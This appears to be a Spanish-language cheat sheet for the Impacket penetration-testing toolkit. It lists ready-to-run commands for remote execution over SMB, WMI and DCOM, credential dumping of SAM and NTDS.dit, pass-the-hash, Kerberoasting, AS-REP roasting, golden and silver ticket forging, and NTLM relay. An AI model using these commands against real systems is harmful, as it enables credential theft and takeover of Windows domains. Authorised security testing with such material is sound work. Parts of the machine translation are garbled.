"Clase de la hoja"
id="copy-btn" class="copy-btn" onclick="copyAllCommands()" Copiar todos los comandos
id="pdf-btn" class="pdf-btn" onclick="generatePDF()" Generar PDF seleccionado/button
■/div titulada
Sinopsis
Impacket es una colección de clases de Python para trabajar con protocolos de red. Proporciona acceso programático de bajo nivel a paquetes e implementa varios protocolos incluyendo SMB, MSRPC y Kerberos. Impacket incluye numerosas herramientas listas para usar para pruebas de penetración, especialmente centradas en entornos de Windows.
NOVEDAD Advertencia: Impacket es una herramienta de pruebas de seguridad que sólo debe usarse en entornos donde tiene permiso explícito para hacerlo.
Instalación
De PyPI
De GitHub
git clone https://github.com/fortra/impacket.git
cd impacket
pip install -r requirements.txt
python setup.py install
En Kali Linux
sudo apt update
sudo apt install -y python3-impacket
Uso del medio ambiente virtual
# Create and activate virtual environment
python -m venv impacket-env
source impacket-env/bin/activate # Linux/macOS
impacket-env\Scripts\activate.bat # Windows
# Install Impacket
pip install impacket
Herramientas de ejecución del comando
psexec.py
Ejecute comandos en sistemas remotos de Windows usando el protocolo SMB, similar al PsExec de SysInternals.
Uso básico
psexec.py [domain/]username[:password]@target [options] [command]
Opciones comunes
Option |
Description |
-hashes LMHASH:NTHASH |
Use NTLM hashes instead of password (Pass-the-Hash) |
-k |
Use Kerberos authentication |
-no-pass |
Don't ask for password (useful for Kerberos) |
-port [port] |
Connect to SMB Server port (default: 445) |
-debug |
Turn DEBUG output ON |
Ejemplos
# Execute command with explicit credentials
psexec.py administrator:Password123@192.168.1.100 cmd.exe
# Execute command with domain credentials
psexec.py domain/administrator:Password123@192.168.1.100 cmd.exe
# Execute specific command
psexec.py administrator:Password123@192.168.1.100 "ipconfig /all"
# Use hash instead of password (Pass-the-Hash)
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 cmd.exe
smbexec.py
Similar a psexec.py pero utiliza diferentes técnicas para ejecutar comandos, lo que lo hace potencialmente sigilo.
Uso básico
smbexec.py [domain/]username[:password]@target [options]
Opciones comunes
Option |
Description |
-hashes LMHASH:NTHASH |
Use NTLM hashes instead of password (Pass-the-Hash) |
-share SHARE |
Share where the output will be grabbed from (default: ADMIN$) |
-shell-type \\{cmd,powershell\\} |
Shell type to use (default: cmd) |
-codec CODEC |
Sets encoding used (codec) from the target's output (default: UTF-8) |
-service-name NAME |
Service name to use (default: random) |
Ejemplos
# Execute with explicit credentials
smbexec.py administrator:Password123@192.168.1.100
# Execute with domain credentials
smbexec.py domain/administrator:Password123@192.168.1.100
# Use hash instead of password (Pass-the-Hash)
smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100
# Use PowerShell instead of cmd
smbexec.py -shell-type powershell administrator:Password123@192.168.1.100
wmiexec.py
Ejecute comandos en sistemas remotos de Windows usando WMI.
Uso básico
wmiexec.py [domain/]username[:password]@target [options] [command]
Opciones comunes
Option |
Description |
-hashes LMHASH:NTHASH |
Use NTLM hashes instead of password (Pass-the-Hash) |
-share SHARE |
Share where the output will be grabbed from (default: ADMIN$) |
-silentcommand |
Execute command and return immediately without output |
-codec CODEC |
Sets encoding used (codec) from the target's output (default: UTF-8) |
-shell-type \\{cmd,powershell\\} |
Shell type to use (default: cmd) |
Ejemplos
# Execute with explicit credentials
wmiexec.py administrator:Password123@192.168.1.100
# Execute with domain credentials
wmiexec.py domain/administrator:Password123@192.168.1.100
# Execute specific command
wmiexec.py administrator:Password123@192.168.1.100 "ipconfig /all"
# Use hash instead of password (Pass-the-Hash)
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100
dcomexec.py
Ejecute comandos en sistemas remotos de Windows usando objetos DCOM.
Uso básico
dcomexec.py [domain/]username[:password]@target [options] [command]
Opciones comunes
Option |
Description |
-hashes LMHASH:NTHASH |
Use NTLM hashes instead of password (Pass-the-Hash) |
-object \\{ShellWindows,ShellBrowserWindow,MMC20\\} |
DCOM object to use (default: MMC20.Application) |
-silentcommand |
Execute command and return immediately without output |
-codec CODEC |
Sets encoding used (codec) from the target's output (default: UTF-8) |
-shell-type \\{cmd,powershell\\} |
Shell type to use (default: cmd) |
Ejemplos
# Execute with explicit credentials
dcomexec.py administrator:Password123@192.168.1.100
# Execute with domain credentials
dcomexec.py domain/administrator:Password123@192.168.1.100
# Execute with specific DCOM object
dcomexec.py -object ShellWindows administrator:Password123@192.168.1.100
# Use hash instead of password (Pass-the-Hash)
dcomexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100
atexec.py
Ejecute comandos en sistemas remotos de Windows usando el servicio Task Scheduler.
Uso básico
atexec.py [domain/]username[:password]@target [options] command
Opciones comunes
Option |
Description |
-hashes LMHASH:NTHASH |
Use NTLM hashes instead of password (Pass-the-Hash) |
-silentcommand |
Execute command and return immediately without output |
-codec CODEC |
Sets encoding used (codec) from the target's output (default: UTF-8) |
Ejemplos
# Execute command with explicit credentials
atexec.py administrator:Password123@192.168.1.100 "whoami > C:\\temp\\whoami.txt"
# Execute command with domain credentials
atexec.py domain/administrator:Password123@192.168.1.100 "whoami > C:\\temp\\whoami.txt"
# Use hash instead of password (Pass-the-Hash)
atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 "whoami > C:\\temp\\whoami.txt"
secretsdump.py
Extrae las credenciales de un sistema remoto de Windows, incluyendo SAM, LSA Secrets, y NTDS.dit.
Uso básico
secretsdump.py [domain/]username[:password]@target [options]
Opciones comunes
Option |
Description |
-hashes LMHASH:NTHASH |
Use NTLM hashes instead of password (Pass-the-Hash) |
-just-dc |
Extract only NTDS.DIT data (domain controller only) |
-just-dc-ntlm |
Extract only NTDS.DIT NTLM hashes (domain controller only) |
-just-dc-user USER |
Extract only NTDS.DIT data for specific user |
-pwd-last-set |
Shows pwdLastSet attribute for each NTDS.DIT account |
-user-status |
Shows whether the user is enabled or disabled |
-history |
Dump password history |
-outputfile FILE |
Write output to file |
Ejemplos
# Dump credentials with explicit credentials
secretsdump.py administrator:Password123@192.168.1.100
# Dump credentials with domain credentials
secretsdump.py domain/administrator:Password123@192.168.1.100
# Dump credentials using hash (Pass-the-Hash)
secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100
# Dump credentials from local files
secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
# Dump credentials from NTDS.dit
secretsdump.py -ntds ntds.dit -system system.save LOCAL
# Extract only domain controller NTLM hashes
secretsdump.py -just-dc-ntlm domain/administrator:Password123@192.168.1.100
Herramientas de ataque de Kerberos
GetNPUsers.py
Retrieves contraseña hashes para los usuarios con "No requieren preauthentication de Kerberos" conjunto (ASREPRoast attack).
Uso básico
GetNPUsers.py [domain/]username[:password] -dc-ip <DC_IP> [options]
Opciones comunes
Option |
Description |
-request |
Requests TGT for users and output them in JtR/hashcat format |
-no-pass |
Don't ask for password (useful for Kerberos) |
-k |
Use Kerberos authentication |
-dc-ip IP |
IP Address of the domain controller |
-usersfile FILE |
File with user per line to test |
-format \\{hashcat,john\\} |
Format to save the AS_REP responses (default: hashcat) |
-outputfile FILE |
Output filename to write ciphers in JtR/hashcat format |
Ejemplos
# Get users without Kerberos preauthentication with explicit credentials
GetNPUsers.py domain/username:password -dc-ip 192.168.1.100 -request
# Get users without Kerberos preauthentication for specific user
GetNPUsers.py domain/username:password -dc-ip 192.168.1.100 -request -target-user user1
# Get users without Kerberos preauthentication for all users in domain
GetNPUsers.py domain/ -dc-ip 192.168.1.100 -usersfile users.txt -format hashcat
# Use no credentials (anonymous)
GetNPUsers.py domain/ -dc-ip 192.168.1.100 -no-pass
GetUserSPNs.py
Retrieves Service Principal Names (SPNs) para las cuentas en el dominio (Kerberoasting attack).
Uso básico
GetUserSPNs.py [domain/]username[:password] -dc-ip <DC_IP> [options]
Opciones comunes
Option |
Description |
-request |
Requests TGS for users and output them in JtR/hashcat format |
-hashes LMHASH:NTHASH |
Use NTLM hashes instead of password (Pass-the-Hash) |
-dc-ip IP |
IP Address of the domain controller |
-target-user USER |
Target specific user to request TGS for |
-outputfile FILE |
Output filename to write ciphers in JtR/hashcat format |
-format \\{hashcat,john\\} |
Format to save the TGS tickets (default: hashcat) |
Ejemplos
# Get SPNs with explicit credentials
GetUserSPNs.py domain/username:password -dc-ip 192.168.1.100 -request
# Get SPNs for specific user
GetUserSPNs.py domain/username:password -dc-ip 192.168.1.100 -request -target-user sqlservice
# Output hashes in specific format
GetUserSPNs.py domain/username:password -dc-ip 192.168.1.100 -request -format hashcat
# Use hash instead of password (Pass-the-Hash)
GetUserSPNs.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 domain/username -dc-ip 192.168.1.100 -request
ticketer.py
Crea entradas de oro y plata para la autenticación de Kerberos.
Uso básico
ticketer.py [options] username
Opciones comunes
Option |
Description |
-nthash HASH |
NT hash for the user or service account |
-aesKey KEY |
AES key for the user or service account |
-domain DOMAIN |
Domain name |
-domain-sid SID |
Domain SID |
-spn SPN |
Service Principal Name (for Silver Tickets) |
-groups IDS |
Comma-separated list of group IDs to include in the ticket |
-duration HOURS |
Ticket duration in hours (default: 10) |
-out FILE |
Output filename to save the ticket |
Ejemplos
# Create Golden Ticket
ticketer.py -nthash 7facdc498ed1680c4fd1448319a8c04f -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain contoso.local administrator
# Create Silver Ticket
ticketer.py -nthash 7facdc498ed1680c4fd1448319a8c04f -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain contoso.local -spn MSSQLSvc/sqlserver.contoso.local:1433 administrator
# Specify output file
ticketer.py -nthash 7facdc498ed1680c4fd1448319a8c04f -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain contoso.local -out ticket.kirbi administrator
Herramientas de protocolos de red
smbclient.py
Proporciona un cliente SMB para acceder a acciones y archivos en sistemas remotos.
Uso básico
smbclient.py [domain/]username[:password]@target [options]
Opciones comunes
Option |
Description |
-hashes LMHASH:NTHASH |
Use NTLM hashes instead of password (Pass-the-Hash) |
-port [port] |
Connect to SMB Server port (default: 445) |
-file FILE |
Input file with commands to execute in the mini shell |
-debug |
Turn DEBUG output ON |
Comandos comunes (Shell Interactivo)
Command |
Description |
help |
Show available commands |
shares |
List available shares |
use <share> |
Connect to a specific share |
ls |
List files in current directory |
cd <dir> |
Change directory |
get <file> |
Download file |
put <file> |
Upload file |
rm <file> |
Delete file |
mkdir <dir> |
Create directory |
rmdir <dir> |
Remove directory |
exit |
Exit the shell |
Ejemplos
# Connect with explicit credentials
smbclient.py administrator:Password123@192.168.1.100
# Connect with domain credentials
smbclient.py domain/administrator:Password123@192.168.1.100
# Use hash instead of password (Pass-the-Hash)
smbclient.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100
mssqlclient.py
Proporciona un cliente para interactuar con las instancias de Microsoft SQL Server.
Uso básico
mssqlclient.py [domain/]username[:password]@target [options]
Opciones comunes
Option |
Description |
-hashes LMHASH:NTHASH |
Use NTLM hashes instead of password (Pass-the-Hash) |
-windows-auth |
Use Windows Authentication (default: False) |
-port [port] |
Destination port to connect to (default: 1433) |
-db DATABASE |
MSSQL database instance (default: None) |
-file FILE |
Input file with commands to execute in the SQL shell |
-debug |
Turn DEBUG output ON |
Comandos comunes (Shell Interactivo)
Command |
Description |
help |
Show available commands |
enable_xp_cmdshell |
Enable the xp_cmdshell stored procedure |
disable_xp_cmdshell |
Disable the xp_cmdshell stored procedure |
xp_cmdshell <command> |
Execute command through xp_cmdshell |
sp_start_job <job> |
Start a SQL Server job |
exit |
Exit the shell |
Ejemplos
# Connect with explicit credentials
mssqlclient.py sa:Password123@192.168.1.100
# Connect with domain credentials
mssqlclient.py domain/sqluser:Password123@192.168.1.100
# Use hash instead of password (Pass-the-Hash)
mssqlclient.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 sa@192.168.1.100
# Enable Windows authentication
mssqlclient.py domain/sqluser:Password123@192.168.1.100 -windows-auth
Otras herramientas útiles
ntlmrelayx.py
Performs NTLM Atentados de relé.
Uso básico
Opciones comunes
Option |
Description |
-t TARGET |
Target to relay the credentials to |
-tf FILE |
File with targets to relay the credentials to |
-w |
Start the HTTP server and do not relay credentials |
-e FILE |
Execute this file when a connection is relayed |
-c COMMAND |
Execute this command when a connection is relayed |
-smb2support |
Enable SMB2 support |
-socks |
Launch a SOCKS proxy for the connection |
-one-shot |
Relay only one connection |
-debug |
Turn DEBUG output ON |
Ejemplos
# Relay to specific target
ntlmrelayx.py -t smb://192.168.1.100 -smb2support
# Relay to multiple targets
ntlmrelayx.py -tf targets.txt -smb2support
# Execute command on successful relay
ntlmrelayx.py -t smb://192.168.1.100 -smb2support -c "whoami > C:\\temp\\whoami.txt"
# Dump SAM database on successful relay
ntlmrelayx.py -t smb://192.168.1.100 -smb2support -d
# Start SOCKS proxy
ntlmrelayx.py -tf targets.txt -socks
Lookupsid.py
Realiza búsquedas SID para enumerar usuarios y grupos.
Uso básico
lookupsid.py [domain/]username[:password]@target [options]
Opciones comunes
Option |
Description |
-hashes LMHASH:NTHASH |
Use NTLM hashes instead of password (Pass-the-Hash) |
-domain DOMAIN |
Domain to enumerate (default: target domain) |
-debug |
Turn DEBUG output ON |
Ejemplos
# Enumerate SIDs with explicit credentials
lookupsid.py administrator:Password123@192.168.1.100
# Enumerate SIDs with domain credentials
lookupsid.py domain/administrator:Password123@192.168.1.100
# Use hash instead of password (Pass-the-Hash)
lookupsid.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100
reg.py
Proporciona una herramienta de manipulación remota del registro.
Uso básico
reg.py [domain/]username[:password]@target [options] action [params]
Opciones comunes
Option |
Description |
-hashes LMHASH:NTHASH |
Use NTLM hashes instead of password (Pass-the-Hash) |
-debug |
Turn DEBUG output ON |
Acciones
Action |
Description |
query |
Query a registry key or value |
add |
Add a registry key or value |
delete |
Delete a registry key or value |
save |
Save a registry hive to a file |
Ejemplos
# Query registry key with explicit credentials
reg.py administrator:Password123@192.168.1.100 query -keyName HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion
# Add registry key with domain credentials
reg.py domain/administrator:Password123@192.168.1.100 add -keyName HKLM\\SOFTWARE\\Test -v TestValue -vt REG_SZ -vd "Test Data"
# Delete registry key with hash (Pass-the-Hash)
reg.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 delete -keyName HKLM\\SOFTWARE\\Test
Parameter |
Description |
-h, --help |
Show help message and exit |
-debug |
Turn DEBUG output ON |
-hashes LMHASH:NTHASH |
NTLM hashes, format is LMHASH:NTHASH |
-no-pass |
Don't ask for password (useful for Kerberos) |
-k |
Use Kerberos authentication |
-aesKey KEY |
AES key to use for Kerberos authentication |
-dc-ip IP |
IP Address of the domain controller |
-target-ip IP |
IP Address of the target machine |
-port [port] |
Destination port to connect to |
Recursos